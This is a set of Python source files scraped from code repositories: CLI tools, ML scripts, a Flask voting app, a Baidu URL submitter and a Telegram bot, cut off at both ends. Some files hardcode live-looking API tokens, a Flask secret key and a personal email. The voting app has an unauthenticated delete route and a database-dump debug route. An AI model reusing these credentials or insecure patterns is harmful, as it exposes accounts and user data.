file_name.endswith(\".json\") and Path(file_name).is_file() is True:\n\n table = BeautifulTable()\n with open(file_name) as jsondoc:\n data = json.load(jsondoc)\n if data:\n header = [\"id\"] + list(list(data.values())[0].keys())\n for _id, data in data.items():\n table.rows.append([_id] + list(data.values()))\n table.columns.header = header\n print(table)\n\n\ndef delete(file_name: str) -> None:\n if Path(file_name).is_file() is True and file_name.endswith(\".json\"):\n x = input(\"Do you want to remove the json file..(y/n)\")\n if x.lower() == \"y\":\n os.remove(file_name)\n else:\n print(\"Action terminated\")\n else:\n print(\"The file does not exist\")\n\n\ndef convert(csv_file: str, json_db: str) -> None:\n if csv_file.endswith(\".csv\") and Path(csv_file).is_file() is True:\n with open(csv_file, \"r\") as f:\n reader = csv.DictReader(f)\n\n a = getDb(json_db)\n a.addMany([i for i in reader])\n\n\ndef convert_db_to_csv(db: str, targetcsv: str = \"converted.csv\") -> None:\n \"\"\"\n Converts a JSON database to a csv.\n :param str db: path of the target json file\n :param str targetcsv: path of the converted csv ,default : converted.csv\n \"\"\"\n if db.endswith(\".json\") and Path(db).is_file() is True:\n a = getDb(db)\n dict_data = a.getAll()\n data: List[Any] = [dict_data[i] for i in dict_data]\n headers = data[0].keys()\n\n with open(targetcsv, \"w\", newline=\"\") as f:\n dict_writer: Any = csv.DictWriter(f, headers)\n dict_writer.writeheader()\n dict_writer.writerows(data)\n\n\ndef merge(p_file: str, m_file: str, output_file: Optional[str] = None) -> None:\n \"\"\"\n Merges two json DB with the same schema\n :param str p_file: The primary file\n :param str m_file: The file to combine with p_file\n :param str output_file: The name of the output file, default: p_file\n \"\"\"\n\n def verify_file(\n file_data: Dict[str, Dict[str, Any]], refer_keys: List[str], filename: str\n ) -> None:\n for d in file_data:\n temp_keys = list(file_data[d].keys())\n temp_keys.sort()\n if not temp_keys == refer_keys:\n print(f\"Irregularities in key names in database {filename!r}\")\n quit()\n\n o_file = output_file or p_file\n with open(p_file, \"r\") as p, open(m_file) as m:\n try:\n p_data = json.load(p)\n m_data = json.load(m)\n\n # look up primary data: a reference to the first data entry\n lp_data = list(p_data.values())[0]\n lm_data = list(m_data.values())[0]\n\n # verify that all the entries in each DB have the same keys\n p_keys = sorted(list(set(lp_data)))\n m_keys = sorted(list(set(lm_data)))\n\n verify_file(p_data, p_keys, p_file)\n verify_file(m_data, m_keys, m_file)\n\n except KeyError:\n print(\"Oops, the DB's does not follow the required PysonDb schema.\")\n quit()\n except IndexError:\n print(\"One of the Database is empty\")\n quit()\n\n # merge the two DB together\n\n if len(lp_data) == len(lm_data):\n if all(i in lm_data for i in lp_data):\n\n p_data.update(m_data)\n\n with open(o_file, \"w\") as f:\n print(p_data)\n json.dump(p_data, f)\n else:\n print(\"The keys of the Database entries does not match\")\n else:\n print(\"The number keys in DB entries does not match\")\n pass\n\n\ndef totwo(primary_file: str, output_file: Optional[str] = None) -> None:\n \"\"\"Convert the old schema style DB to the new style\"\"\"\n\n if not Path(primary_file).is_file():\n print(\"The file does not exist\")\n quit()\n\n with open(primary_file, \"r\") as f:\n try:\n new_data: Dict[str, Dict[str, Any]] = {}\n file_contents = json.load(f)\n file_data = file_contents[\"data\"]\n\n for d in file_data:\n _id = d.pop(\"id\")\n new_data[_id] = d\n\n with open(output_file or \"converted_data.json\", \"w\") as f:\n json.dump(new_data, f, indent=4)\n\n except Exception:\n print(\"something went wrong\")\n quit()\n\n\ndef main() -> None:\n fire.Fire(\n {\n \"create\": create_if_not_exist,\n \"display\": display,\n \"delete\": delete,\n \"convert\": convert,\n \"converttocsv\": convert_db_to_csv,\n \"merge\": merge,\n \"totwo\": totwo\n }\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pysondb/cli/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":5489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"502408688","text":"import configparser\r\nimport requests\r\nimport datetime\r\nfrom requests_toolbelt.multipart.encoder import MultipartEncoder\r\nconfig = configparser.RawConfigParser()\r\nconfig.read('/var/www/settings.ini')\r\n\r\ngAuth = config['GIPHIER']['Token']\r\nkAuth = config['KHALKEUS']['Token']\r\naAuth = config['AARON']['Token']\r\n\r\nroom = config['CHICO']['ID']\r\nperson = 'alangford@xceptional.com'\r\n\r\nimages = {\r\n 'ayb': config['IMAGES']['AYB'],\r\n 'developer': config['IMAGES']['Developer'],\r\n 'afx': config['IMAGES']['Afx'],\r\n 'automation': config['IMAGES']['Automation'],\r\n 'hephaestus': config['IMAGES']['Hephaestus'],\r\n 'turk': config['IMAGES']['Turk'],\r\n 'matters': config['IMAGES']['Matters'],\r\n 'lunch': config['IMAGES']['Lunch'],\r\n 'garfield': config['IMAGES']['Garfield'],\r\n 'towel': config['IMAGES']['Towel']\r\n}\r\nm = MultipartEncoder({'roomId': room,\r\n 'text': 'test',\r\n 'files': (images['hephaestus'], open(images['hephaestus'], 'rb'),\r\n '')})\r\n\r\nr = requests.post('https://api.ciscospark.com/v1/messages', data=m,\r\n headers={'Authorization': 'Bearer {auth}'.format(auth=aAuth),\r\n 'Content-Type': m.content_type})\r\n\r\nprint(r.text)\r\n","sub_path":"examples/webex-post-message-to-person.py","file_name":"webex-post-message-to-person.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"438064802","text":"# 직사각형에서 탈출\n# 문제\n# 한수는 지금 (x, y)에 있다. 직사각형의 왼쪽 아래 꼭짓점은 (0, 0)에 있고, 오른쪽 위 꼭짓점은 (w, h)에 있다. 직사각형의 경계선까지 가는 거리의 최솟값을 구하는 프로그램을 작성하시오.\n\n# 입력\n# 첫째 줄에 x y w h가 주어진다. w와 h는 1,000보다 작거나 같은 자연수이고, x는 1보다 크거나 같고, w-1보다 작거나 같은 자연수이고, y는 1보다 크거나 같고, h-1보다 작거나 같은 자연수이다.\n\n# 출력\n# 첫째 줄에 문제의 정답을 출력한다.\n\nx, y, w, h = input().split()\nx, y, w, h = int(x), int(y), int(w), int(h)\n\ndif_x = w - x if (w - x) <= x else x\ndif_y = h - y if (h - y) <= y else y\n\nprint(dif_x if dif_x <= dif_y else dif_y)\n","sub_path":"baekjoon/1085_baekjoon.py","file_name":"1085_baekjoon.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"19660837","text":"import pandas as pd\n\nfrom sklearn.externals import joblib\nfrom sklearn.pipeline import Pipeline\nfrom regression_model.config import config # i need to import config while making sure it doesnt disrupt the folders\nfrom regression_model.config import logging_config\nfrom regression_model import __version__ as _version\n\n\n_logger = logging_config.get_logger()\n\n\n\ndef load_dataset(*, file_name: str) -> pd.DataFrame:\n data_path = config.DATASET_DIR / file_name\n data = pd.read_csv(filepath_or_buffer=data_path)\n return data\n\n\n\ndef save_pipeline(*, pipeline_to_persist) -> None:\n #saves the versioned model, and overwrites the previous saved models\n #This ensures that when the package is published, there is only one trained\n #model that can be called, and we know exactly how it was built.\n\n\n\n #prepare versioned save file name\n save_file_name = f\"{config.PIPELINE_SAVE_FILE}{_version}.pkl\"\n save_path = config.TRAINED_MODEL_DIR / save_file_name\n remove_old_pipelines(files_to_keep=save_file_name)\n joblib.dump(pipeline_to_persist, save_path)\n _logger.info(f\"saved pipeline: {save_file_name}\")\n\n \n\n\n\ndef load_pipeline(*, file_name: str) -> Pipeline:\n file_path = config.TRAINED_MODEL_DIR / file_name\n trained_model = joblib.load(filename=file_path)\n return trained_model\n\n\n\ndef remove_old_pipelines(*, files_to_keep) -> None:\n \n #Removes old model pipelines\n #This is to ensure that there is a simple one-to-one\n #mapping between the package version and the model version\n #to be imported and used by other application\n\n for model_file in config.TRAINED_MODEL_DIR.iterdir():\n if model_file.name not in [files_to_keep, \"__init__.py\"]:\n model_file.unlink()","sub_path":"packages/regression_model/processing/data_management.py","file_name":"data_management.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"653027323","text":"import tensorflow as tf \r\nfrom tensorflow.keras import layers, Model, Sequential \r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.layers import GlobalAveragePooling2D, Conv2D, MaxPooling2D, BatchNormalization, Dropout, Dense, Input, Concatenate\r\nimport sys \r\nimport numpy as np \r\nfrom tensorflow.keras.datasets import cifar100\r\n\r\n# import dataset here \r\n\r\n# x_train = np.reshape(x_train, (-1, 224, 224, 3)).astype('float32') / 255.0\r\n# x_test = np.reshape(x_test, (-1, 224, 224, 3)).astype('float32') / 255.0\r\n\r\n# y_train = tf.keras.utils.to_categorical(y_train)\r\n# y_test = tf.keras.utils.to_categorical(y_test)\r\n\r\n# inception block input-> 3x3 Maxpooling , 1x1 5x5, 1x1 3x3, 1x1\r\n\r\nclass ConvBlock(layers.Layer):\r\n\tdef __init__(self, output_channels, kernals, strides, padding):\r\n\t\tsuper(ConvBlock, self).__init__()\r\n\t\tself.conv_1 = Conv2D(output_channels, kernals, strides=strides, padding=padding)\r\n\t\tself.bn = BatchNormalization()\r\n\r\n\tdef call(self, inputs, training = False):\r\n\t\tx = self.conv_1(inputs, training = training)\r\n\t\tx = self.bn(x, training = training)\r\n\t\treturn tf.nn.relu(x)\r\n\r\nclass InceptionBlock(layers.Layer):\r\n\tdef __init__(self, conv1, conv3_reduce, conv3, conv5_reduce, conv5, pool_projection):\r\n\t\tsuper(InceptionBlock, self).__init__()\r\n\t\tself.conv_1 = ConvBlock(conv1, 1, padding='same', strides=1)\r\n\t\tself.conv_2 = ConvBlock(conv3, 3, padding='same', strides=1)\r\n\t\tself.conv_3 = ConvBlock(conv5, 5, padding='same', strides=1)\r\n\t\tself.conv_4 = ConvBlock(pool_projection, 1, padding='same', strides=1)\r\n\r\n\t\tself.identity_1 = ConvBlock(conv3_reduce, 1, padding='same', strides=1)\r\n\t\tself.identity_2 = ConvBlock(conv5_reduce, 1, padding='same', strides=1)\r\n\r\n\t\tself.pool = MaxPooling2D(pool_size=3, padding = 'same', strides=1)\r\n\t\tself.concat = Concatenate(axis = -1)\r\n\r\n\tdef call(self, input_tensor, training = False):\r\n\t\tbranch_1 = self.conv_1(input_tensor)\r\n\r\n\t\tid_branch_2 = self.identity_1(input_tensor)\r\n\t\tbranch_2 = self.conv_2(id_branch_2)\r\n\r\n\t\tid_branch_3 = self.identity_2(input_tensor)\r\n\t\tbranch_3 = self.conv_3(id_branch_3)\r\n\r\n\t\tbranch_4 = self.pool(input_tensor)\r\n\t\tbranch_4 = self.conv_4(branch_4)\r\n\r\n\t\treturn MaxPooling2D(pool_size=3, padding = 'same', strides=1)(self.concat([branch_1, branch_2, branch_3, branch_4]))\r\n\r\nclass InceptionModel(keras.Model):\r\n\r\n\tdef __init__(self):\r\n\t\tsuper(InceptionModel, self).__init__()\r\n\t\tself.conv1 = ConvBlock(output_channels = 32, kernals = 3, padding='same', strides=1)\r\n\t\tself.pool = MaxPooling2D(3, 2)\r\n\t\tself.conv2 = ConvBlock(output_channels = 32, kernals = 3, padding='same', strides=1)\r\n\t\tself.conv3 = ConvBlock(output_channels = 32, kernals=3, padding='same', strides=1)\r\n\r\n\t\tself.identity_1 = Conv2D(32, 1, strides=1, padding='same')\r\n\t\tself.identity_2 = Conv2D(256, 1, strides=1, padding='same')\r\n\t\tself.identity_3 = Conv2D(528, 1, strides=1, padding='same')\r\n\r\n\t\tself.block3a = InceptionBlock(64, 96, 128, 16, 32, 32)\r\n\t\tself.block3b = InceptionBlock(128, 128, 192, 32, 96, 64)\r\n\r\n\t\tself.block4a = InceptionBlock(192, 96, 208, 16, 48, 64)\r\n\t\tself.block4b = InceptionBlock(160, 112, 224, 24, 64, 64)\r\n\t\tself.block4c = InceptionBlock(128, 128, 256, 24, 64, 64)\r\n\t\tself.block4d = InceptionBlock(112, 144, 288, 32, 64, 64)\r\n\t\tself.block4e = InceptionBlock(256, 160, 320, 32, 128, 128)\r\n\r\n\t\tself.block5a = InceptionBlock(256, 160, 320, 32, 128, 128)\r\n\t\tself.block5b = InceptionBlock(384, 192, 384, 48, 128, 128)\r\n\r\n\t\tself.avgpool = GlobalAveragePooling2D()\r\n\t\tself.drop = Dropout(0.4)\r\n\t\tself.final_layer = Dense(1000, activation='softmax')\r\n\r\n\tdef call(self, input_tensor):\r\n\r\n\t\tx = self.conv1(input_tensor)\r\n\t\tx = self.conv2(x)\r\n\t\tx = self.conv3(x + self.identity_1(input_tensor))\r\n\t\tx1 = MaxPooling2D(3, 2)(x)\r\n\r\n\t\tx = self.block3a(x1)\r\n\t\tx = self.block3b(x + self.identity_2(x1))\r\n\t\tx2 = MaxPooling2D(3, 2)(x)\r\n\r\n\t\tx = self.block4a(x2)\r\n\t\tx = self.block4b(x)\r\n\t\tx = self.block4c(x)\r\n\t\tx = self.block4d(x)\r\n\t\tx = self.block4e(x + MaxPooling2D()(self.identity_3(x1)))\r\n\t\tx = MaxPooling2D(3, 2)(x)\r\n\r\n\t\tx = self.block5a(x)\r\n\t\tx = self.block5b(x)\r\n\t\tx = self.avgpool(x)\r\n\t\tx = self.drop(x)\r\n\t\toutput_layer = self.final_layer(x)\r\n\r\n\t\treturn output_layer\r\n\r\n\tdef model(self):\r\n\t\tinput_layer = Input(shape=(1024, 1024, 3))\r\n\t\treturn Model(inputs = input_layer, outputs = self.call(input_layer))\r\n\r\nmodel = InceptionModel().model()\r\n\r\ndot_img_file = 'tmp/Inceptionv2.jpg'\r\ntf.keras.utils.plot_model(model, to_file=dot_img_file, show_shapes=True)","sub_path":"inception_net_with_skipConnections.py","file_name":"inception_net_with_skipConnections.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"311303021","text":"\"\"\"\nRun with python3 precomputingEvaluator.py --path ../../DATA/weights.Siamese.best.binary_accuracy.training.hdf5\n --data ../../DATA --output June09_fixedSiamese_KaggleTestPredictions.txt > ../../DATA/June09_fixedSiamese_KaggleTestPredictions.log\n\"\"\"\nimport argparse\nimport keras\nimport h5py\nimport os\nimport keras.backend as K\nfrom keras.models import Sequential\nfrom keras.layers import Input, Lambda\nimport numpy as np\nimport time\n\n\nK.clear_session()\n\nparser = argparse.ArgumentParser(description='Evaluate a model on the test data and prepare a Kaggle output file')\nparser.add_argument('--path', help= 'paste path to the model file')\nparser.add_argument('--data', help= 'paste path to the data folder')\nparser.add_argument('--output', help= 'name for the output file (in the data folder), defaults to KaggleTestPredictions.txt', default = 'KaggleTestPredictions.txt')\nparser.add_argument('--layer_input', help= 'name of one of the input layers', default = 'input_1')\nparser.add_argument('--layer_leg', help= 'name of the whole leg layer', default = 'sequential_1')\nparser.add_argument('--layer_dense', help= 'name of one of the dense layer that computes the final output', default = 'dense_2')\n\n\n\nargs = parser.parse_args()\n\nprint(\"Loading the model from \" + args.path)\n\n\nmodel = keras.models.load_model(args.path)\nmodel.summary()\n\nprint(\"Model loaded\")\nprint(\"------------------\")\nprint(\"Input layer name: \" + args.layer_input)\nprint(\"Leg layer name : \" + args.layer_leg)\nprint(\"Dense layer name: \" + args.layer_dense)\nprint(\"------------------\")\n\n\n#Make the pre-compute model\nprecomputeModel = Sequential()\nfor layer in model.layers:\n if layer.name == args.layer_input:\n precomputeModel.add(layer)\n print(\"Input layer added to the precompute network\")\n if layer.name == args.layer_leg:\n precomputeModel.add(layer)\n print(\"Sequential layer added to the precompute network\")\nprint(\"Precompute network input: \" + str(precomputeModel.input.shape))\nprint(\"Precompute network output: \" + str(precomputeModel.output.shape))\nprecomputeModel.summary()\nprint(\"------------------\")\n\n\n#Make the comparison model\nfor layer in model.layers:\n if layer.name == args.layer_dense:\n print(\"Comparison function input: \" + str(layer.input.shape))\n print(\"Comparison function output: \" + str(layer.output.shape))\n newOutputs = layer\n comparisonFunction = K.function([layer.input],\n [layer.output])\n print(\"Comparison function is generated\")\n print(\"------------------\")\n\n# Load the test and data\ntrainDataset = h5py.File(os.path.join(args.data, 'tr_gr_64.h5'), 'r')\ntestDataset = h5py.File(os.path.join(args.data, 'tst_gr_64.h5'), 'r')\n\ntrainX = np.array(trainDataset['x'])\ntrainY = np.array(trainDataset['y']).astype('str')\ntestX = np.array(testDataset['test_data'])\ntestFileNames = np.array(testDataset['test_labels']).astype('str')[:, 0]\n\n# Do the precomputation\nprint(\"Pre-computing the training dataset...\")\nstart = time.time()\ntrainXprecomp = precomputeModel.predict(x = trainX[:, :, :, np.newaxis])\nprint(\"Pre-computing the training dataset took \" + str(int((time.time()-start))) + \" seconds\")\n\nprint(\"Pre-computing the test dataset...\")\nstart = time.time()\ntestXprecomp = precomputeModel.predict(x = testX[:, :, :, np.newaxis])\nprint(\"Pre-computing the test dataset took \" + str(int((time.time()-start))) + \" seconds\")\n\n\n# Set up the output dictionary\nguesses = {}\noutputFile = open(os.path.join(args.data, args.output),'w')\nprint(\"Saving output in: \" + str(os.path.join(args.data, args.output)))\nprint(\"------------------\")\noutputFile.write(\"Image,Id\")\n\naverageProcessingTime = 0\ni = 0\n\n# Iterate over the test dataset\nfor testImage, testName in zip(testXprecomp, testFileNames):\n i=i+1\n start = time.time()\n print(\"Lookin' up the whale in image \" + testName+\" [\" + str(i).zfill(5) + \"/\" + str(len(testFileNames)).zfill(5) + \"]. \", end='', flush=True)\n # See how similar the new image is to all the images in the train set.\n #predictions = model.predict(x = [np.repeat(testImage[ np.newaxis, :, :, np.newaxis], trainX.shape[0], axis=0), trainX[:, :, :, np.newaxis]])\n\n predictions = comparisonFunction([np.abs(trainXprecomp - testImage[np.newaxis,:])])\n predictions = predictions[0]\n\n # Find the 4 most similar images (based on the SECOND output which is how dissimilar they are. Hence we are looking for the FIRST entries\n ranks = np.argsort(predictions[:,1])\n sortedLabels = trainY[ranks]\n guesses[testName] = []\n for sortedLabel in sortedLabels: #needed as to make sure there are no dublicates\n if len(guesses[testName]) < 4 and sortedLabel not in guesses[testName]:\n guesses[testName].append(sortedLabel)\n print(\"Probably one of \", end='', flush=True)\n print(guesses[testName], end='', flush=True)\n\n # Save to the output file\n outputFile.write(\"\\n\"+testName + \",\")\n outputFile.write(\"new_whale\")\n for label in guesses[testName]:\n outputFile.write(\" \" + label)\n\n outputFile.flush()\n\n averageProcessingTime = (averageProcessingTime*(i-1)+ time.time() - start)/i\n print(\". Search took \" + str(int((time.time() - start)*1000)) + \"ms. Remaining time: \" + str(int((averageProcessingTime*(len(testFileNames)-i))/60)) + \" min.\")\n\noutputFile.close()\n","sub_path":"Evaluator/precomputingEvaluator.py","file_name":"precomputingEvaluator.py","file_ext":"py","file_size_in_byte":5355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"508460644","text":"from datetime import timedelta\nimport json\n\nfrom flask import Flask, request, render_template, redirect\nfrom flask_jwt import JWT, jwt_required, current_identity\nfrom sqlalchemy.exc import IntegrityError\n\nfrom models import db, randString\nimport dbproxy\n\ndef create_app():\n app = Flask(__name__)\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'\n app.config['SECRET_KEY'] = \"PLEASEWORK\"\n app.config['JWT_EXPIRATION_DELTA'] = timedelta(days=7)\n db.init_app(app)\n return app\n\napp = create_app()\napp.app_context().push()\ndb.create_all(app=app)\n\ndef authenticate(username, password):\n return dbproxy.authUser(username, password)\n\ndef identity(payload):\n return dbproxy.getUser(payload['identity'])\n\njwt = JWT(app, authenticate, identity)\n\n@app.route('/', methods=['GET'])\ndef index():\n\t return app.send_static_file('index.html'), 200\n\n@app.route('/', methods=['POST'])\ndef getUserId():\n user_data = request.get_json()\n try:\n user_id = dbproxy.getUserId(user_data['electionId'],\n user_data['email'], user_data['passcode'])\n except Exception as error:\n return error.args\n return json.dumps({'user_id': user_id}), 200\n\n@app.route('/create', methods=['GET'])\ndef goToCreatePage():\n return app.send_static_file('create.html'), 200\n\n@app.route('/create', methods=['POST'])\ndef createElection():\n data = request.get_json()\n try:\n dbproxy.newElection(data)\n except Exception as error:\n raise error\n #return error.args\n return 'Election created', 201\n\n@app.route('/vote', methods=['GET'])\ndef goToVotePage():\n return app.send_static_file('vote.html'), 200\n\n@app.route('/vote/', methods=['GET'])\n@jwt_required()\ndef loadBallot(election_id):\n try:\n ballot = dbproxy.getBallot(election_id, current_identity.id)\n except Exception as error:\n print(error.args)\n return error.args\n else:\n return json.dumps(ballot), 200\n\n@app.route('/vote/', methods=['PUT'])\n@jwt_required()\ndef castVote(election_id):\n ballot = request.get_json()\n try:\n dbproxy.castVote(election_id, current_identity.id, ballot)\n except Exception as error:\n print(error.args)\n return error.args\n return 'Vote Casted', 200\n\n@app.route('/results', methods=['GET'])\ndef goToResultsPage():\n return app.send_static_file('results.html'), 200\n\n@app.route('/results/', methods=['GET'])\n@jwt_required()\ndef getResults(election_id):\n try:\n results = dbproxy.getResults(election_id, current_identity.id)\n except Exception as error:\n print(error.args)\n return error.args\n return json.dumps(results), 200\n\n@app.route('/edit', methods=['GET'])\ndef goToEditPage():\n return app.send_static_file('edit.html'), 200\n\n@app.route('/edit/', methods=['GET'])\n@jwt_required()\ndef getElectionData(election_id):\n try:\n election = dbproxy.getElectionData(election_id, current_identity.id)\n except Exception as error:\n print(error.args)\n return error.args\n return json.dumps(election), 200\n\n@app.route('/edit/', methods=['PUT'])\n@jwt_required()\ndef editElection(election_id):\n data = request.get_json()\n try:\n dbproxy.updateElection(election_id, current_identity.id, data)\n except Exception as error:\n print(error.args)\n return error.args\n return 'Election updated', 200\n\n@app.route('/remove/', methods=['DELETE'])\ndef deleteElection(election_id):\n try:\n dbproxy.deleteElection(election_id)\n except Exception as error:\n print(error.args)\n return error.args\n return 'Deleted', 204\n\n@app.route('/debug')\ndef debugDB():\n return json.dumps(dbproxy.debug()), 200\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"386078983","text":"import numpy as np\nfrom flask import Flask, request, render_template\nimport pickle\n\napp = Flask(__name__)\nmodel = pickle.load(open('Classifier.model','rb'))\n\n@app.route('/')\ndef home():\n\treturn render_template('index.html')\n\n@app.route('/predict',methods=['POST'])\ndef predict():\n\tform_features = [float(x) for x in request.form.values()]\n\tfinal_features = [np.array(form_features)]\n\tprediction = model.predict(final_features)\n\n\tif prediction[0] == 0:\n\t\treturn render_template('index.html', prediction_text = 'This Transaction Is A Genuine Transaction')\n\telse:\n\t\treturn render_template('index.html', prediction_text = 'This Transaction Is A Fraudulent Transaction')\n\nif __name__ == '__main__':\n\tapp.run(debug=True)","sub_path":"Flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"140161537","text":"import subprocess\nimport json\nfrom datetime import datetime\nimport os\nimport pymysql\nimport requests\n\nconn = pymysql.connect(host = '*', \n database = 'baiduzz',\n user = '*', \n passwd = '*')\ncursor = conn.cursor()\n\nurlZhanZhang = '*'\n\nAPI = {'https://api.youqiantu.com/v1/social/groups/10000/threads'}#all apis\napiToUrlFormatMap = {'https://api.youqiantu.com/v1/social/groups/10000/threads':'https://www.youqiantu.com/threads/{tid}',\n }\n\ndef gainUrlFromDB():\n '''\n return a set containning the tid from the database\n '''\n cursor.execute('select url, commitTimes from urlInformation where ifCommitted = 1')\n result = cursor.fetchall()#result would like this : (('asdfa.com',), ('baidu.com',))\n urls = {res[0]:res[1] for res in result}\n return urls\n\nurlCommitted = gainUrlFromDB()#urls successfully committed from database\n\ndef gainUrlFailedFromDB():\n '''\n return a set containning the tid from the database\n '''\n cursor.execute('select url, commitTimes from urlInformation where ifCommitted = 0')\n result = cursor.fetchall()#result would like this : (('asdfa.com',), ('baidu.com',))\n urls = {res[0] :res[1] for res in result}\n return urls\n\nurlFailed = gainUrlFailedFromDB()\n\ndef gainUrlStatic(fileName):\n urls = set()\n try:\n with open(fileName, 'r+') as f:\n line = f.readline()\n line = line.strip('\\n')\n if bool(line):\n urlList = line.split('\\n')\n for index in range(len(urlList) ):\n if urlList[index] not in urlCommitted:#check if it is commited\n urls.add(urlList[index])\n return urls\n except FileNotFoundError:\n print(fileName + ' not found')\n\n\n\ndef gainTidbyApi(api):\n '''\n gain all tids by api\n api : \n return : set\n '''\n api_v1 = ['https://api.youqiantu.com/v1/social/groups/10000/threads']\n newTids = set()\n if api in api_v1:\n rowStart = 0\n rowNum = 16#number of each request\n newTids = set() #new tid\n while True:\n #repeat until hasMore == False is met\n apiFormat = api + '?rowStart={rowStart}&rowNum={rowNum}'\n urlOfApi = apiFormat.format(rowStart = rowStart, rowNum = rowNum)\n content = requests.get(urlOfApi).text#content from the url\n contentjson = json.loads(content)#convert to json format\n threads = contentjson['body']['threads'] #all threads\n if not hasattr(threads, '__iter__'):\n print('nothing from the sverver')\n break\n for item in threads:\n tid = item['tid']#an arctile's tid\n newTids.add(tid)\n \n if not contentjson['body']['hasMore']:#if hasMore is not True, the end is met\n break\n rowStart += rowNum\n #end while\n #end if\n\n return newTids\n\n\ndef gainUrlByApi(api):\n '''\n gain new urls from api\n api : string, api's url\n return : set\n '''\n newTids = gainTidbyApi(api)\n urls = set()#new urls ,there is no dumplicate, it's set\n urlFormat = apiToUrlFormatMap.get(api, '')\n if urlFormat:\n for tid in newTids:\n url = urlFormat.format(tid = tid)\n if url not in urlCommitted:\n urls.add(url)\n \n return urls\n\ndef commit(urls):\n '''\n urls : a set containning the url need to commit\n '''\n global urlCommitted, urlFailed\n\n timeNow = datetime.strftime(datetime.utcnow(), '%Y-%m-%d') \n urlFileName = 'urlCommitFile.txt'\n logFd = open(timeNow +'-log.json', 'a+', encoding = 'utf8')#store logs\n command = '''curl -H \"Content-Type:text/plain\" --data-binary @{urlFileName} \"http://data.zz.baidu.com/urls?site=www.youqiantu.com&token=FeSfg1UzQuOfrWBU\"'''.format(urlFileName = urlFileName)\n\n for url in urls:\n\n r = requests.post(urlZhanZhang, data = url)\n result = r.text#result from the commit\n resultJson = json.loads(result)#convert to json\n successNum = resultJson.get('success', 0)\n resultJson['time'] = timeNow\n resultJson['url'] = url\n \n logFd.write(str(resultJson))\n print('commit:' + url)\n\n ifCommitted = 0\n if successNum:#commit successful \n ifCommitted = 1\n urlCommitted[url] = 1#add url committed successfully \n \n firstCommitTime = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n if url in urlFailed:#we need update the lastCommitTime and committedTimes\n sql ='update urlInformation set lastCommitTime = \"{lastCommitTime}\", ifCommitted = {ifCommitted},commitTimes = {commitTimes},result = \"{result}\" where url = \"{url}\"'.format(\n url = url, ifCommitted = ifCommitted, lastCommitTime = firstCommitTime, commitTimes = urlFailed.get(url)+ 1, result = str(resultJson))\n else:\n sql = 'insert into urlInformation values (\"{url}\",{ifCommitted}, \"{firstCommitTime}\", \"{lastCommitTime}\", {commitTimes},\"{result}\")'.format(\n url = url, ifCommitted = ifCommitted, firstCommitTime = firstCommitTime, lastCommitTime = firstCommitTime, commitTimes = 1, result = str(resultJson))\n cursor.execute(sql)\n conn.commit()\n urlCommitted = gainUrlFromDB()#update url committed successfully from database\n urlFailed = gainUrlFailedFromDB()#update url committed failed from database\n #end for\n logFd.close()\n\n\ndef commitUrlFromApi():\n for api in API:\n urls = gainUrlByApi(api)\n commit(urls)\n\ndef commitUrlFromStatic():\n urlStatic = gainUrlStatic('rulStatic.txt')\n if urlStatic:\n commit(urlStatic)\n #print('commit from static')\n\ndef commitUrlFromFailed():\n urlFailed = gainUrlFailedFromDB()\n if urlFailed:\n commit(urlFailed)\n\n\ncommitUrlFromFailed()\ncommitUrlFromStatic()\ncommitUrlFromApi()","sub_path":"baidu_v1.py","file_name":"baidu_v1.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"591555924","text":"import telebot\n\n\ntoken = '485606860:AAFC1eSP_LksyJSRHsDK0Z9b49Rt4u_YzEI'\n\nbot = telebot.TeleBot(token)\n\n@bot.message_handler(content_types=['text'])\ndef check_message(message):\n\n t = message.text\n t=t[::-1]\n bot.send_message(message.chat.id, t)\n\nbot.polling(none_stop=True)\n","sub_path":"bot/this_bot.py","file_name":"this_bot.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"405124460","text":"# Write a program that uses nested loops to collect data and calculate the average rainfall over a\r\n# period of years. The program should first ask for the number of years. The outer loop will\r\n# iterate once for each year. The inner loop will iterate twelve times, once for each month. Each\r\n# iteration of the inner loop will ask the user for the inches of rainfall for that month. After all\r\n# iterations, the program should display the number of months, the total inches of rainfall, and the\r\n# average rainfall per month for the entire period.\r\n\r\nyears = int(input('Enter number of years: '))\r\nmonth = 12\r\ntotal = 0\r\n\r\nfor yearNum in range(years):\r\n print('Year number ', yearNum + 1)\r\n for monthNum in range(month):\r\n print('Month ', monthNum + 1)\r\n rainfall = int(input('Rain fall: '))\r\n total += rainfall\r\n\r\ntotalMonth = years * 12\r\naverage = total / totalMonth\r\nprint(totalMonth, \" months\")\r\nprint(total, ' Inches of rainfall')\r\nprint('The average is ', average, ' inches.')","sub_path":"Pythonbasics/AverageRainfall.py","file_name":"AverageRainfall.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"154475818","text":"from classification import 